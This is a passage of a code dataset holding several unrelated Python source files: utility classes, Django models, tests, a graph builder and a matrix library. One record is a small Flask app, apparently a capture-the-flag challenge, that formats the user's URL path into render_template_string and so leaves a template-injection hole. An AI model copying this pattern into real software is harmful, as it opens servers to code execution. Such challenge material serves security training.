''' - This class is used just to organize our output'''\n # Class variables\n from datetime import date\n from datetime import datetime\n T0 = datetime.now()\n banner = 60\n\n # Constructor\n def __init__(self, your_string):\n self.your_string = your_string\n self.len_string = len(your_string)\n self.len_string_adding = len(\"Today's date:\"+str(session_info.T0))\n # This method for showing starting running - time\n def Initial_run(self):\n self.len_string = len(self.your_string)\n # print(self.len_string*\"=\")\n # print(self.your_string)\n # print(self.len_string*\"=\")\n print(self.len_string_adding*\"-\")\n print(\"Today's date:\", session_info.T0.strftime(\"%d/%m/%Y %H:%M:%S\"))\n print(self.len_string_adding*\"-\")\n session_info.add_line(self)\n\n\n # This method for showing finishing running - time\n def Finishing_run(self):\n from datetime import datetime\n Tx = datetime.now() #date.today()\n TPassed = Tx - session_info.T0\n # print(self.len_string*\"=\")\n # print(self.your_string)\n session_info.add_line(self)\n\n print(\"Starting time at = {}\".format(self.T0.strftime(\"%d/%m/%Y %H:%M:%S\")))\n print(\"Executing time at = {}\".format(Tx.strftime(\"%d/%m/%Y %H:%M:%S\")))\n print(f\"[Done] exited with code = 0 in {TPassed} seconds\")\n\n def add_line(self):\n \"\"\" This Function is used to type fancy printing\n created for the purpose of isolating all the\n commands and functions in python.\n \"\"\"\n #N_spaces = message.count(' ') # From both sides\n session_info.banner = 60\n words = [self.your_string]\n word_sum = sum(len(i) for i in words)\n margin1 = int(session_info.banner/5)*\"=\"\n margi1_len = len(margin1)\n margin2 = (session_info.banner-(margi1_len+word_sum+2))*\"=\"\n if len(margin1+self.your_string+margin2) < session_info.banner:\n \"\"\"\n Here for simple one line sentence we add\n directly the margins with the self.your_string\n \"\"\"\n print(session_info.banner*\"=\")\n print(f\"\"\"{margin1} {self.your_string} {margin2}\"\"\")\n print(session_info.banner*\"=\")\n else:\n \"\"\"\n Here we check the number of words and reset the list and\n spaces everytime we go to a new line until the self.your_string\n is finished.\n \"\"\"\n print(session_info.banner*\"=\")\n wordsx = self.your_string.split()\n xr = 5 # alignment added later (adjusted manually)\n i = 0\n spacex = 0\n listwords = []\n while i < len(wordsx):\n\n listwords.append(wordsx[i])\n if sum(len(i) for i in listwords) + spacex < session_info.banner-xr:\n print(wordsx[i], end = \" \")\n spacex = spacex +1\n\n else:\n print(wordsx[i])\n listwords = []\n spacex = 0\n\n i = i +1\n\n print(\"\\n\", end= \"\")\n print(session_info.banner*\"=\")\n\n def addHashLine(self):\n a = len(self.your_string)\n\n print(session_info.banner*\"#\")\n\n def addCenterline(self):\n a = len(self.your_string)\n\n print(session_info.banner*\"-\")\n\n def addPlusLine(self):\n a = len(self.your_string)\n\n print(session_info.banner*\"+\")\n\n def addTeldaLine(self):\n a = len(self.your_string)\n\n print(session_info.banner*\"~\")\n\n def addTextOnly(self,stringx):\n session_info.addPlusLine(self)\n words = [stringx]\n word_sum = sum(len(i) for i in words)\n margin1 = int(session_info.banner/5)*\"=\"\n margi1_len = len(margin1)\n margin2 = (session_info.banner-(margi1_len+word_sum+2))*\"=\"\n if len(margin1+stringx+margin2) < session_info.banner:\n \"\"\"\n Here for simple one line sentence we add\n directly the margins with the stringx\n \"\"\"\n print(f\"\"\"{stringx}\"\"\")\n\n else:\n \"\"\"\n Here we check the number of words and reset the list and\n spaces everytime we go to a new line until the stringx\n is finished.\n \"\"\"\n\n wordsx = stringx.split()\n xr = 5 # alignment added later (adjusted manually)\n i = 0\n spacex = 0\n listwords = []\n while i < len(wordsx):\n\n listwords.append(wordsx[i])\n if sum(len(i) for i in listwords) + spacex < session_info.banner-xr:\n print(wordsx[i], end = \" \")\n spacex = spacex +1\n\n else:\n print(wordsx[i])\n listwords = []\n spacex = 0\n\n i = i +1\n print(\"\\n\", end= \"\")\n\n def loadingBar():\n import time\n for i in range(20):\n print(\"#\", end = \"\")\n time.sleep(1)\n if i == 19:\n print(\"\\n\")\n\n", "source": "Ghasak/PracticalMachineLeanring", "license": "MIT"} {"text": "from django.db import models\n\nfrom resumeparser.utils import validator\n\n\n# Create your models here.\nclass ResumeArchive(models.Model):\n\n uploaded = models.DateTimeField(auto_now_add=True)\n datafile = models.FileField(upload_to='resumes/%Y/%m/%d', validators=[validator.validate_file_extension])\n\n\n# Create your models here.\nclass Resume(models.Model):\n\n name = models.CharField(max_length=70)\n email = models.CharField(max_length=254)\n phone_number = models.CharField(max_length=26)\n area_code = models.CharField(max_length=3)\n street_address = models.CharField(max_length=90)\n state = models.CharField(max_length=20)\n zipcode = models.CharField(max_length=11)\n education = models.TextField()\n degree = models.TextField(default='')\n work_history = models.TextField()\n skills = models.TextField(default='')\n file_id = models.ForeignKey(ResumeArchive, default='null')\n\n def __str__(self):\n return self.name", "source": "jaffyadhav/django-resume-parser", "license": "Unlicense"} {"text": "# coding=utf-8\nimport unittest\n\nfrom mock import MagicMock\nimport requests\n\nfrom docc.credentials import Credentials\nfrom docc.service import Service\nfrom docc.exceptions import APIError, ConnectionError\n\n\nclass TestService(unittest.TestCase):\n def test___init__(self):\n credentials = Credentials(\"abc\", \"def\")\n service = Service(credentials)\n self.assertEquals(service.credentials, credentials)\n\n\n def test_get(self):\n credentials = Credentials(\"abc\", \"def\")\n service = Service(credentials)\n\n class Response(object):\n def __init__(self, response, ok):\n self.response = response\n self.ok = ok\n\n def json(self):\n return self.response\n\n # Test where requests.get returns something with status: OK\n response = {'status': 'OK'}\n mock = MagicMock(return_value=Response(response, True))\n requests.get = mock\n self.assertEquals(service.get(\"test\"), response)\n\n # Test where requests.get returns something with status: ERROR\n response = {\n \"status\": \"ERROR\",\n \"description\": \"Unable to verify credentials. #414LB\"\n }\n mock = MagicMock(return_value=Response(response, True))\n requests.get = mock\n with self.assertRaises(APIError):\n service.get(\"test\")\n\n # Test where requests.get cannot connect\n mock = MagicMock(side_effect=requests.ConnectionError)\n requests.get = mock\n with self.assertRaises(ConnectionError):\n service.get(\"test\")\n\n # Test where requests.get returns something different from status: OK\n response = {\n \"status\": \"ERROR\",\n \"description\": \"Unable to verify credentials. #414LB\"\n }\n mock = MagicMock(return_value=Response(response, True))\n requests.get = mock\n with self.assertRaises(APIError):\n service.get(\"test\")\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "pirate42/docc", "license": "MIT"} {"text": "from .action import Action\nfrom .action_error import ActionError\nfrom util.logger import logger\n\n\nclass ActionLimitOrder(Action):\n def __init__(self, payload):\n Action.__init__(self)\n if \"orderType\" not in payload:\n self.action_type = ActionError(\n {\"errorType\": \"Event does not contain an order type\"}\n )\n return\n if payload[\"orderType\"] not in [\"BUY\", \"SELL\"]:\n self.action_type = ActionError(\n {\n \"errorType\": \"{}: is an invalid order type\".format(\n payload[\"orderType\"]\n )\n }\n )\n return\n if payload[\"orderType\"] == \"BUY\":\n self.is_buy_order = True\n else:\n self.is_buy_order = False\n self.action_type = self\n", "source": "kyhorne/trading_sim", "license": "MIT"} {"text": "from pathlib import Path, PosixPath\nfrom pygraphviz import AGraph\n\nYFM_KEY = 'yfm'\nID_KEY = 'id'\nNAME_KEY = 'name'\nSECTIONS_KEY = 'sections'\nTITLE_KEY = 'title'\nREL_KEY = 'relates'\nREL_TYPE_KEY = 'type'\nREL_ID_KEY = 'id'\nREL_PATH_KEY = 'path'\nGV_KEY = 'gv_attributes'\n\n\nclass DublicateSectionID(Exception):\n pass\n\n\nclass Section:\n \"\"\"Class which holds information about one chapter\"\"\"\n\n def __init__(self, name: str, ch_name: str, section_dict: dict):\n self.name = name\n self.chapter_name = ch_name\n self.title = section_dict[TITLE_KEY]\n self.yfm = section_dict[YFM_KEY]\n self.id = self.yfm.get(ID_KEY)\n self.gv = self.yfm.get(GV_KEY, {})\n self.type = self.yfm.get('type', '')\n\n def get_relations(self) -> list:\n \"\"\"get list of relations as stated in yfm\"\"\"\n\n return self.yfm.get(REL_KEY, [])\n\n @property\n def full_name(self):\n return f'{self.chapter_name}_{self.name}'\n\n def __repr__(self):\n return f'<{self.__class__.__name__}: {self.name} [{self.chapter_name}]>'\n\n\nclass Chapter:\n \"\"\"Class which holds information about one chapter\"\"\"\n\n def __init__(self, chapter_dict: dict):\n self.name = chapter_dict[NAME_KEY]\n self._sections = []\n for sec_name, sec_dict in chapter_dict[SECTIONS_KEY].items():\n self.sections.append(Section(sec_name, self.name, sec_dict))\n\n @property\n def sections(self):\n return self._sections\n\n def __repr__(self):\n return f'<{self.__class__.__name__}: {self.name}>'\n\n\nclass MissingSection(Section):\n \"\"\"\n Fake section which was related but wasn't found in meta section\n list. It has predefined styling of gray dashed node.\n \"\"\"\n\n def __init__(self, name: str):\n self.name = name\n self.chapter_name = name\n self.title = name\n self.yfm = {}\n self.id = None\n self.gv = {'color': '#cccccc', 'style': 'dashed'}\n self.type = 'missing'\n\n\nclass Relation:\n \"\"\"Class which holds information about one relation between two chapters\"\"\"\n\n def __init__(self,\n parent: Chapter,\n child: Chapter,\n rel_dict: dict):\n self.parent = parent\n self.child = child\n self.type = rel_dict.get(REL_TYPE_KEY, '')\n self.gv = rel_dict.get(GV_KEY, {})\n\n def __repr__(self):\n return f' {self.child}>'\n\n\ndef wrap_title(title: str, limit: int = 13, line_break: str = '\\n'):\n \"\"\"\n If title is longer than limit, attempt to wrap the long title into\n several lines using the line_break.\"\"\"\n\n result = []\n if len(title) <= limit:\n return title\n part = ''\n for chunk in title.split(' '):\n part += ' ' + chunk\n if len(part) >= limit:\n result.append(part)\n part = ''\n if part:\n result.append(part)\n return line_break.join(result)\n\n\nclass ChaptersGraph:\n \"\"\"Class which builds, holds and draws a chapters graph\"\"\"\n\n def __init__(self, chapter_list: list, src_path: PosixPath, config: dict = {}):\n # Flat list of Section objects\n self._sections = []\n # Mapping of chapter_name: Main section of chapter\n self._main_sections = {}\n # Mapping of section_id: Section object\n self._sections_with_id = {}\n for c in chapter_list:\n chapter = Chapter(c)\n self._main_sections[chapter.name] = chapter.sections[0]\n for s in chapter.sections:\n self._sections.append(s)\n if s.id:\n if s.id in self._sections_with_id:\n raise DublicateSectionID()\n self._sections_with_id[s.id] = s\n self._src_path = src_path\n self._create_relations()\n self.config = config\n\n @property\n def relations(self):\n \"\"\"List of Relation objects\"\"\"\n\n return self._relations\n\n @property\n def sections(self):\n \"\"\"Flat list of Chapter objects\"\"\"\n\n return self._sections\n\n def __repr__(self):\n return f''\n\n def _create_relations(self):\n \"\"\"\n Fill up self._relations list.\n\n Relations can be of two types (and their combinations).\n Detailed syntax:\n\n relates:\n - id: doc_id\n type: link\n - name: ../index.md\n\n Or short syntax:\n\n relates:\n - file2.md\n - doc_id\n - !project_path src/main.md\n \"\"\"\n\n def get_name_from_path(rel_path: str or PosixPath):\n \"\"\"\n Get proper relation name from rel_path.\n\n rel_path may be either path to related chapter relative to current\n chapter, or absolute path to the related chapter.\n\n Relation name must be a path relative to src dir.\n \"\"\"\n\n if Path(self._src_path) in Path(rel_path).parents: # absolute path\n result = Path(rel_path).relative_to(self._src_path)\n else: # relative path\n result = Path(section.chapter_name).parent / rel_path\n return str(result)\n\n self._relations = []\n for section in self._sections:\n for rel_item in section.get_relations():\n parent = None\n if isinstance(rel_item, (str, PosixPath)): # short syntax\n rel_dict = {}\n if rel_item in self._sections_with_id:\n parent = self._sections_with_id[rel_item]\n else:\n parent_name = get_name_from_path(rel_item)\n parent = self._main_sections.get(parent_name, MissingSection(parent_name))\n elif isinstance(rel_item, dict): # detailed syntax\n rel_dict = rel_item\n if REL_ID_KEY in rel_item:\n parent = self._sections_with_id.get(rel_item[REL_ID_KEY], MissingSection(rel_item[REL_ID_KEY]))\n elif REL_PATH_KEY in rel_item:\n parent_name = get_name_from_path(rel_item[REL_PATH_KEY])\n parent = self._main_sections.get(parent_name, MissingSection(parent_name))\n\n if parent:\n if isinstance(parent, MissingSection):\n self._sections.append(parent)\n self._relations.append(Relation(parent, section, rel_dict))\n\n def draw(self):\n \"\"\"Draw graph with graphviz and save it to self.config['filename']\"\"\"\n\n default_gv_attributes = {\n 'node': {'shape': 'rect', 'fontname': 'PT Sans'},\n 'edge': {'arrowhead': 'open', 'arrowtail': 'open', 'fontname': 'PT Sans'},\n 'graph': {'fontname': 'PT Sans'}\n }\n\n directed = self.config.get('directed', False)\n attrs = self.config.get('gv_attributes', default_gv_attributes)\n g = AGraph(directed=directed, strict=False)\n for k, v in attrs.get('graph', {}).items():\n g.graph_attr[k] = v\n for k, v in attrs.get('node', {}).items():\n g.node_attr[k] = v\n for k, v in attrs.get('edge', {}).items():\n g.edge_attr[k] = v\n for section in self.sections:\n if section.type and section.type in attrs:\n section_attrs = {**attrs[section.type], **section.gv}\n else:\n section_attrs = section.gv\n\n title = wrap_title(section.title)\n g.add_node(section.full_name, label=title, **section_attrs)\n for rel in self.relations:\n if rel.type and rel.type in attrs:\n rel_attrs = {**attrs[rel.type], **rel.gv}\n else:\n rel_attrs = rel.gv\n g.add_edge(rel.parent.full_name,\n rel.child.full_name,\n **rel_attrs)\n g.layout(prog='dot')\n output = self.config.get('filename', 'project_graph.png')\n g.draw(output)\n", "source": "foliant-docs/foliantcontrib.project_graph", "license": "MIT"} {"text": "from flask import Flask, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef hello(path=None):\n\tif not path:\n\t\tbody = \"Visit hello.tghack.no/your_name\"\n\telse:\n\t\tbody = \"Hello {}!\".format(path)\n\n\ttemplate_str = \"\"\"\n\t\n\t\t{}\n\t\n\t\"\"\".format(body)\n\n\treturn render_template_string(template_str)\n\nif __name__ == \"__main__\":\n\twith open(\"flag.txt\", \"r\") as f:\n\t\tflag = f.read()\n\tapp.config.from_envvar(\"APPLICATION_SETTINGS\")\n\tapp.run()\n", "source": "tghack/tg17hack", "license": "MIT"} {"text": "#coding:utf-8\nimport os\nimport gzip\nimport io\nimport hashlib\nimport subprocess\n\nfrom six import text_type, BytesIO\n\nfrom cactus.utils.helpers import checksum\n\n\nclass FakeTime:\n \"\"\"\n Monkey-patch gzip.time to avoid changing files every time we deploy them.\n \"\"\"\n def time(self):\n return 1111111111.111\n\n\ndef compressString(s):\n \"\"\"Gzip a given string.\"\"\"\n\n gzip.time = FakeTime()\n\n zbuf = BytesIO()\n zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf)\n zfile.write(s)\n zfile.close()\n return zbuf.getvalue()\n\n\ndef fileSize(num):\n for x in ['b', 'kb', 'mb', 'gb', 'tb']:\n if num < 1024.0:\n return \"%.0f%s\" % (num, x)\n num /= 1024.0\n\ndef calculate_file_checksum(path):\n \"\"\"\n Calculate the MD5 sum for a file:\n Read chunks of a file and update the hasher.\n Returns the hex digest of the md5 hash.\n \"\"\"\n hasher = hashlib.md5()\n with io.FileIO(path, 'r') as fp:\n while True:\n buf = fp.read(65536)\n if not buf:\n break\n hasher.update(buf)\n return hasher.hexdigest()\n\ndef file_changed_hash(path):\n info = os.stat(path)\n hashKey = text_type(info.st_mtime) + text_type(info.st_size)\n return checksum(hashKey.encode('utf-8'))\n", "source": "danielchasehooper/Cactus", "license": "BSD-3-Clause"} {"text": "import math\nimport glvector\n\nhas_numpy = False\ntry:\n import numpy as np\n has_numpy = True\nexcept:\n has_numpy = False\n\nclass mat2(object):\n def __init__(self, a=0, b=0, c=0, d=0):\n self.cols = [glvector.vec2(a,b), glvector.vec2(c,d)]\n \n def __getitem__(self, key):\n if type(key) is int:\n return self.cols[key]\n else:\n raise TypeError(\"Invalid type.\")\n\n def __setitem__(self, key, val):\n if type(key) is int:\n self.cols[key] = val\n else:\n raise TypeError(\"Invalid type.\")\n\n def __iter__(self):\n return iter(self.cols)\n\n def __add__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] + other\n b = self[0][1] + other\n c = self[1][0] + other\n d = self[1][1] + other\n return mat2(a,b,c,d)\n elif type(other) is mat2:\n a = self[0][0] + other[0][0]\n b = self[0][1] + other[0][1]\n c = self[1][0] + other[1][0]\n d = self[1][1] + other[1][1]\n print(\"a = {0}, b = {1}, c = {2}, d={3}\".format(a,b,c,d))\n return mat2(a,b,c,d)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __sub__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] - other\n b = self[0][1] - other\n c = self[1][0] - other\n d = self[1][1] - other\n return mat2(a,b,c,d)\n elif type(other) is mat2:\n a = self[0][0] - other[0][0]\n b = self[0][1] - other[0][1]\n c = self[1][0] - other[1][0]\n d = self[1][1] - other[1][1]\n return mat2(a,b,c,d)\n else:\n raise TypeError(\"Invalid type.\") \n\n def __mul__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] * other\n b = self[0][1] * other\n c = self[1][0] * other\n d = self[1][1] * other\n return mat2(a,b,c,d)\n elif type(other) is mat2:\n a = self[0][0] * other[0][0] + self[0][1] * other[1][0]\n b = self[0][0] * other[0][1] + self[0][1] * other[1][1]\n c = self[1][0] * other[0][0] + self[1][1] * other[1][0]\n d = self[1][0] * other[0][1] + self[1][1] * other[1][1]\n return mat2(a,b,c,d)\n elif type(other) is glvector.vec2:\n a = self[0][0] * other[0] + self[0][1] * other[1]\n b = self[1][0] * other[0] + self[1][1] * other[1]\n return glvector.vec2(a,b)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __truediv__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] / other\n b = self[0][1] / other\n c = self[1][0] / other\n d = self[1][1] / other\n return mat2(a,b,c,d)\n elif type(other) is mat2:\n return self * mat2._inverse(other)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __iadd__(self, other):\n self = self + other\n return self\n\n def __isub__(self, other):\n self = self - other\n return self\n\n def __imul__(self, other):\n self = self * other\n return self\n\n def __itruediv__(self, other):\n self = self / other\n return self\n\n def __radd__(self, other):\n self = self + other\n return self\n\n def __rsub__(self, other):\n self = self - other\n return self\n\n def __rmul__(self, other):\n pass\n\n def __rtruediv__(self, other):\n pass\n\n def __eq__(self, other):\n return (self[0] == other[0] and self[1] == other[1])\n\n def __ne__(self, other):\n return not self == other\n\n def __pos__(self):\n a = +self[0][0]\n b = +self[0][1]\n c = +self[1][0]\n d = +self[1][1]\n return mat2(a,b,c,d)\n\n def __neg__(self):\n a = -self[0][0]\n b = -self[0][1]\n c = -self[1][0]\n d = -self[1][1]\n return mat2(a,b,c,d)\n\n def __abs__(self):\n a = abs(self[0][0])\n b = abs(self[0][1])\n c = abs(self[1][0])\n d = abs(self[1][1])\n return mat2(a,b,c,d)\n\n def __round__(self, n=0):\n a = round(self[0][0], n)\n b = round(self[0][1], n)\n c = round(self[1][0], n)\n d = round(self[1][1], n)\n return mat2(a,b,c,d)\n\n def __floor__(self):\n a = math.floor(self[0][0])\n b = math.floor(self[0][1])\n c = math.floor(self[1][0])\n d = math.floor(self[1][1])\n return mat2(a,b,c,d)\n\n def __ceil__(self):\n a = math.ceil(self[0][0])\n b = math.ceil(self[0][1])\n c = math.ceil(self[1][0])\n d = math.ceil(self[1][1])\n return mat2(a,b,c,d)\n\n def __trunc__(self):\n a = math.trunc(self[0][0])\n b = math.trunc(self[0][1])\n c = math.trunc(self[1][0])\n d = math.trunc(self[1][1])\n return mat2(a,b,c,d)\n\n def __str__(self):\n return \"([\" + str(self[0][0]) + ', ' + str(self[0][1]) + \"],\" + \\\n \"[\" + str(self[1][0]) + ', ' + str(self[1][1]) + \"]\"\n\n def __repr__(self):\n return \"mat2(\" + str(self[0][0]) + ', ' + str(self[0][1]) + ', ' + \\\n str(self[1][0]) + ', ' + str(self[1][1]) + \")\"\n\n def asArray(self):\n if has_numpy:\n return np.matrix([self.cols[0].asArray(), self.cols[1].asArray()], dtype=np.float32)\n else:\n return [self.cols[0].asArray(), self.cols[1].asArray()]\n\n @classmethod\n def fromVec2(cls, u, v):\n a = u[0]\n b = u[1]\n c = v[0]\n d = v[1]\n return cls(a,b,c,d)\n \n @classmethod\n def _inverse(cls, matrix):\n if type(matrix) is not mat2:\n raise TypeError(\"Parameter must be of type \" + str(mat2))\n\n determinant = mat2._determinant(matrix)\n if determinant is not 0:\n oneOverDeterminant = 1 / determinant\n a = + matrix[1][1] * oneOverDeterminant\n b = - matrix[0][1] * oneOverDeterminant\n c = - matrix[1][0] * oneOverDeterminant\n d = + matrix[0][0] * oneOverDeterminant\n return cls(a,b,c,d)\n else:\n raise ArithmeticError(\"Can't invert a matrix which determinant is zero.\")\n\n @classmethod\n def _transpose(cls, matrix):\n if type(matrix) is not mat2:\n raise TypeError(\"Parameter must be of type \" + str(mat2))\n\n a = matrix[0][0]\n b = matrix[1][0]\n c = matrix[0][1]\n d = matrix[1][1]\n return cls(a,b,c,d)\n\n @staticmethod\n def _determinant(matrix):\n if type(matrix) is not mat2:\n raise TypeError(\"Parameter must be of type \" + str(mat2))\n\n return matrix[0][0] * matrix[1][1] - matrix[1][0] * matrix[0][1]\n\n\n\nclass mat3(object):\n def __init__(self, a=0, b=0, c=0, d=0, e=0, f=0, g=0, h=0, i=0):\n self.cols = [glvector.vec3(a,b,c), glvector.vec3(d,e,f), glvector.vec3(g,h,i)]\n \n def __getitem__(self, key):\n if type(key) is int:\n return self.cols[key]\n else:\n raise TypeError(\"Invalid type.\")\n\n def __setitem__(self, key, val):\n if type(key) is int:\n self.cols[key] = val\n else:\n raise TypeError(\"Invalid type.\")\n\n def __iter__(self):\n return iter(self.cols)\n\n def __add__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] + other\n b = self[0][1] + other\n c = self[0][2] + other\n d = self[1][0] + other\n e = self[1][1] + other\n f = self[1][2] + other\n g = self[2][0] + other\n h = self[2][1] + other\n i = self[2][2] + other\n return mat3(a,b,c,d,e,f,g,h,i)\n elif type(other) is mat3:\n a = self[0][0] + other[0][0]\n b = self[0][1] + other[0][1]\n c = self[0][2] + other[0][2]\n d = self[1][0] + other[1][0]\n e = self[1][1] + other[1][1]\n f = self[1][2] + other[1][2]\n g = self[2][0] + other[2][0]\n h = self[2][1] + other[2][1]\n i = self[2][2] + other[2][2]\n return mat3(a,b,c,d,e,f,g,h,i)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __sub__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] - other\n b = self[0][1] - other\n c = self[0][2] - other\n d = self[1][0] - other\n e = self[1][1] - other\n f = self[1][2] - other\n g = self[2][0] - other\n h = self[2][1] - other\n i = self[2][2] - other\n return mat3(a,b,c,d,e,f,g,h,i)\n elif type(other) is mat3:\n a = self[0][0] - other[0][0]\n b = self[0][1] - other[0][1]\n c = self[0][2] - other[0][2]\n d = self[1][0] - other[1][0]\n e = self[1][1] - other[1][1]\n f = self[1][2] - other[1][2]\n g = self[2][0] - other[2][0]\n h = self[2][1] - other[2][1]\n i = self[2][2] - other[2][2]\n return mat3(a,b,c,d,e,f,g,h,i)\n else:\n raise TypeError(\"Invalid type.\") \n\n def __mul__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] * other\n b = self[0][1] * other\n c = self[0][2] * other\n d = self[1][0] * other\n e = self[1][1] * other\n f = self[1][2] * other\n g = self[2][0] * other\n h = self[2][1] * other\n i = self[2][2] * other\n return mat3(a,b,c,d,e,f,g,h,i)\n elif type(other) is mat3:\n a = self[0][0] * other[0][0] + self[0][1] * other[1][0] + self[0][2] * other[2][0]\n b = self[0][0] * other[0][1] + self[0][1] * other[1][1] + self[0][2] * other[2][1]\n c = self[0][0] * other[0][2] + self[0][1] * other[1][2] + self[0][2] * other[2][2]\n d = self[1][0] * other[0][0] + self[1][1] * other[1][0] + self[1][2] * other[2][0]\n e = self[1][0] * other[0][1] + self[1][1] * other[1][1] + self[1][2] * other[2][1]\n f = self[1][0] * other[0][2] + self[1][1] * other[1][2] + self[1][2] * other[2][2]\n g = self[2][0] * other[0][0] + self[2][1] * other[1][0] + self[2][2] * other[2][0]\n h = self[2][0] * other[0][1] + self[2][1] * other[1][1] + self[2][2] * other[2][1]\n i = self[2][0] * other[0][2] + self[2][1] * other[1][2] + self[2][2] * other[2][2]\n return mat3(a,b,c,d,e,f,g,h,i)\n elif type(other) is glvector.vec3:\n a = self[0][0] * other[0] + self[0][1] * other[1] + self[0][2] * other[2]\n b = self[1][0] * other[0] + self[1][1] * other[1] + self[1][2] * other[2]\n c = self[2][0] * other[0] + self[2][1] * other[1] + self[2][2] * other[2]\n return glvector.vec3(a,b,c)\n else:\n raise TypeError(\"Invalid type.\")\n\n def __truediv__(self, other):\n if type(other) is int or type(other) is float:\n a = self[0][0] / other\n b = self[0][1] / other\n c = self[0][2] / other\n d = self[1][0] / other\n e = self[1][1] / other\n f = self[1][2] / other\n g = self[2][0] / other\n h = self[2][1] / other\n i = self[2][2] / other\n return mat3(a,b,c,d,e,f,g,h,i)\n elif type(other) is mat3:\n return round(self * mat3._inverse(other))\n else:\n raise TypeError(\"Invalid type.\")\n\n def __iadd__(self, other):\n self = self + other\n return self\n\n def __isub__(self, other):\n self = self - other\n return self\n\n def __imul__(self, other):\n self = self * other\n return self\n\n def __itruediv__(self, other):\n self = self / other\n return self\n\n def __radd__(self, other):\n self = self + other\n return self\n\n def __rsub__(self, other):\n self = self - other\n return self\n\n def __rmul__(self, other):\n pass\n\n def __rtruediv__(self, other):\n pass\n\n def __eq__(self, other):\n return (self[0] == other[0] and self[1] == other[1] and self[2] == other[2])\n\n def __ne__(self, other):\n return not self == other\n\n def __pos__(self):\n a = +self[0][0]\n b = +self[0][1]\n c = +self[0][2]\n d = +self[1][0]\n e = +self[1][1]\n f = +self[1][2]\n g = +self[2][0]\n h = +self[2][1]\n i = +self[2][2]\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def __neg__(self):\n a = -self[0][0]\n b = -self[0][1]\n c = -self[0][2]\n d = -self[1][0]\n e = -self[1][1]\n f = -self[1][2]\n g = -self[2][0]\n h = -self[2][1]\n i = -self[2][2]\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def __abs__(self):\n a = abs(self[0][0])\n b = abs(self[0][1])\n c = abs(self[0][2])\n d = abs(self[1][0])\n e = abs(self[1][1])\n f = abs(self[1][2])\n g = abs(self[2][0])\n h = abs(self[2][1])\n i = abs(self[2][2])\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def __round__(self, n=0):\n a = round(self[0][0], n)\n b = round(self[0][1], n)\n c = round(self[0][2], n)\n d = round(self[1][0], n)\n e = round(self[1][1], n)\n f = round(self[1][2], n)\n g = round(self[2][0], n)\n h = round(self[2][1], n)\n i = round(self[2][2], n)\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def __floor__(self):\n a = math.floor(self[0][0])\n b = math.floor(self[0][1])\n c = math.floor(self[0][2])\n d = math.floor(self[1][0])\n e = math.floor(self[1][1])\n f = math.floor(self[1][2])\n g = math.floor(self[2][0])\n h = math.floor(self[2][1])\n i = math.floor(self[2][2])\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def __ceil__(self):\n a = math.ceil(self[0][0])\n b = math.ceil(self[0][1])\n c = math.ceil(self[0][2])\n d = math.ceil(self[1][0])\n e = math.ceil(self[1][1])\n f = math.ceil(self[1][2])\n g = math.ceil(self[2][0])\n h = math.ceil(self[2][1])\n i = math.ceil(self[2][2])\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def __trunc__(self):\n a = math.trunc(self[0][0])\n b = math.trunc(self[0][1])\n c = math.trunc(self[0][2])\n d = math.trunc(self[1][0])\n e = math.trunc(self[1][1])\n f = math.trunc(self[1][2])\n g = math.trunc(self[2][0])\n h = math.trunc(self[2][1])\n i = math.trunc(self[2][2])\n return mat3(a,b,c,d,e,f,g,h,i)\n\n def asArray(self):\n if has_numpy:\n return np.matrix([self.cols[0].asArray(), self.cols[1].asArray(), self.cols[2].asArray()], dtype=np.float32)\n else:\n return [self.cols[0].asArray(), self.cols[1].asArray(), self.cols[2].asArray()]\n\n @classmethod\n def fromVec3(cls, u, v, w):\n a = u[0]\n b = u[1]\n c = u[2]\n d = v[0]\n e = v[1]\n f = v[2]\n g = w[0]\n h = w[1]\n i = w[2]\n return cls(a,b,c,d,e,f,g,h,i)\n\n @classmethod\n def fromMat2(cls, m):\n a = m[0][0]\n b = m[0][1]\n c = 0\n d = [1][0]\n e = [1][1]\n f = 0\n g = 0\n i = 0\n h = 1\n return cls(a,b,c,d,e,f,g,h,i)\n\n @classmethod\n def fromMat3(cls, m):\n a = m[0][0]\n b = m[0][1]\n c = m[0][2]\n d = m[1][0]\n e = m[1][1]\n f = m[1][2]\n g = m[2][0]\n h = m[2][1]\n i = m[2][2]\n return cls(a,b,c,d,e,f,g,h,i)\n\n def __str__(self):\n return \"([\" + str(self[0]) + ', ' + str(self[1]) + ', ' + str(self[2]) + \"])\"\n\n def __repr__(self):\n return \"mat3(\" + str(self[0]) + ', ' + str(self[1]) + ', ' + str(self[2]) + \")\"\n\n @classmethod\n def zero(cls):\n return cls()\n\n @classmethod\n def identity(cls):\n return cls(a=1, e=1, i=1)\n\n \n @classmethod\n def _inverse(cls, matrix):\n if type(matrix) is not mat3:\n raise TypeError(\"Parameter must be of type \" + str(mat3))\n\n determinant = mat3._determinant(matrix)\n\n if determinant is not 0:\n oneOverDeterminant = 1 / determinant\n\n a = + (matrix[1][1] * matrix[2][2] - matrix[2][1] * matrix[1][2]) * oneOverDeterminant;\n d = - (matrix[1][0] * matrix[2][2] - matrix[2][0] * matrix[1][2]) * oneOverDeterminant;\n g = + (matrix[1][0] * matrix[2][1] - matrix[2][0] * matrix[1][1]) * oneOverDeterminant;\n b = - (matrix[0][1] * matrix[2][2] - matrix[2][1] * matrix[0][2]) * oneOverDeterminant;\n e = + (matrix[0][0] * matrix[2][2] - matrix[2][0] * matrix[0][2]) * oneOverDeterminant;\n h = - (matrix[0][0] * matrix[2][1] - matrix[2][0] * matrix[0][1]) * oneOverDeterminant;\n c = + (matrix[0][1] * 